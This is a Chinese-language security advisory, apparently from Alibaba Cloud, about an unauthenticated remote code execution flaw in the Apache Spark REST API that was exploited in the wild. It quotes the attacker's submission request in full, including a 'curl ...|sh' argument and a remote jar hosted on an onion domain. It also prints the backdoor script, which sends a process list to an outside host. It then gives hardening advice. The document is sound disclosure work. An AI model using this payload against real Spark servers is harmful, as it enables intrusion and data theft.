2018年7月7日,阿里云安全首次捕獲Spark REST API的未授權(quán)RCE漏洞進(jìn)行攻擊的真實(shí)樣本。7月9號起,阿里云平臺已能默認(rèn)防御此漏洞的大規(guī)模利用。
這是首次在真實(shí)攻擊中發(fā)現(xiàn)使用“暗網(wǎng)”來傳播惡意后門的樣本,預(yù)計未來這一趨勢會逐步擴(kuò)大。目前全網(wǎng)約5000臺 Spark服務(wù)器受此漏洞影響。阿里云安全監(jiān)控到該類型的攻擊還處于小范圍嘗試階段,需要謹(jǐn)防后續(xù)的規(guī)模性爆發(fā)。建議受影響客戶參考章節(jié)三的修復(fù)建議進(jìn)行修復(fù)。
一、漏洞詳情說明
Apache Spark 是專為大規(guī)模數(shù)據(jù)處理而設(shè)計的快速通用的計算引擎,是UC Berkeley AMP lab(加州大學(xué)伯克利分校的AMP實(shí)驗(yàn)室)所開源的類Hadoop MapReduce的通用并行框架。為了讓使用者能夠方便的控制系統(tǒng)進(jìn)行計算和查看任務(wù)結(jié)果,Spark也提供了 WEB UI圖形化界面和相應(yīng)的 REST API來方便用戶操作。
Spark作為大數(shù)據(jù)時代的”計算引擎”,一旦被攻破,企業(yè)的核心數(shù)據(jù)資產(chǎn)、計算能力、用戶敏感數(shù)據(jù)都將被攻擊者竊取;更進(jìn)一步的,由于Spark自身的分布式特性,一個攻擊點(diǎn)的攻破可能導(dǎo)致整個集群的淪陷。Spark權(quán)限設(shè)置不當(dāng),可能導(dǎo)致攻擊者無需認(rèn)證即可通過該 REST API來操作Spark創(chuàng)建任務(wù)、刪除任務(wù)、查看任務(wù)結(jié)果等,從而最終獲得執(zhí)行任意指令的能力。
我們還原了攻擊者的攻擊步驟:
1. 攻擊者通過web掃描的方式發(fā)現(xiàn)了一臺Spark webui服務(wù)
2. 構(gòu)造攻擊指令,并通過6066端口發(fā)送到該服務(wù)器的REST API
POST /v1/submissions/create
host:xxxx.xxx.xx:6066
{ “action”: “CreateSubmissionRequest”, “clientSparkVersion”: “2.1.0”, “appArgs”: [ “curl x.x.x.x/y.sh|sh” ], “appResource”: “https://xxxx.onion.plus/SimpleApp.jar”, “environmentVariables”: { “SPARK_ENV_LOADED”: “1” }, “mainClass”: “SimpleApp”, “sparkProperties”: { “spark.jars”: “https://xxxxxxxx.onion.plus/SimpleApp.jar”, “spark.driver.supervise”: “false”, “spark.app.name”: “SimpleApp”, “spark.eventLog.enabled”: “false”, “spark.submit.deployMode”: “cluster”, “spark.master”: “spark://x.x.x.x:6066” } }
該攻擊payload指示服務(wù)器遠(yuǎn)程下載https://xxxxxxxx.onion.plus/SimpleApp.jar ,并執(zhí)行攻擊者指定的任意方法,該攻擊者還通過洋蔥網(wǎng)絡(luò)來隱藏自己的相關(guān)信息。
3.對該 jar 包進(jìn)行逆向分析,該 jar 包即是一個簡單的執(zhí)行命令的后門,執(zhí)行 jar 包時,Spark服務(wù)器將會從洋蔥網(wǎng)絡(luò)中下載一段shell腳本并執(zhí)行。
4.腳本內(nèi)容如下:
#!/bin/bash
ps ax –sort=-pcpu > /tmp/tmp.txt
curl -F “file=@/tmp/tmp.txt” http://x.x.x.x/re.php
rm -rf /tmp/tmp.txt
該腳本只是簡單的將性能信息打印并回傳,暫未進(jìn)行進(jìn)一步的攻擊。
二、漏洞影響與變化態(tài)勢
目前全網(wǎng)監(jiān)控,開放了8080端口暴露在公網(wǎng)的Spark機(jī)器共有5000臺左右,黑客可批量接管其中存在權(quán)限問題的機(jī)器。
在此之前,阿里云安全團(tuán)隊(duì)曾針對分布式計算系統(tǒng)相關(guān)的漏洞進(jìn)行過預(yù)警
(詳見:黑客利用Hadoop Yarn資源管理系統(tǒng)未授權(quán)訪問漏洞進(jìn)行攻https://www.toutiao.com/i6552678121449980423/?)
這兩個漏洞原理和利用方法非常相似,這也佐證了之前的預(yù)判。
隨著加密貨幣經(jīng)濟(jì)的進(jìn)一步繁榮,具有強(qiáng)大算力,但是較弱安全能力的分布式應(yīng)用將面臨更多的漏洞利用和黑客攻擊。
由于Hadoop Yarn未授權(quán)漏洞在全網(wǎng)已經(jīng)成為了黑客挖礦的一種重要手法,我們有理由相信Spark REST API漏洞也將很快被黑產(chǎn)利用。
三、安全專家建議
建議通過iptables或者安全組配置訪問策略,限制對8088、8081、7707、6606等端口的訪問;并且如無必要,不要將接口開放在公網(wǎng),改為本地或者內(nèi)網(wǎng)調(diào)用;
建議使用Spark的yarn控制模式,并且開啟HTTP Kerberos對WEB UI進(jìn)行訪問控制;如采用Spark standalone模式,需要自行實(shí)現(xiàn)訪問控制的jar包,并設(shè)置spark.ui.filters對WEB UI進(jìn)行訪問控制。(詳見:http://spark.apache.org/docs/latest/configuration.html#security)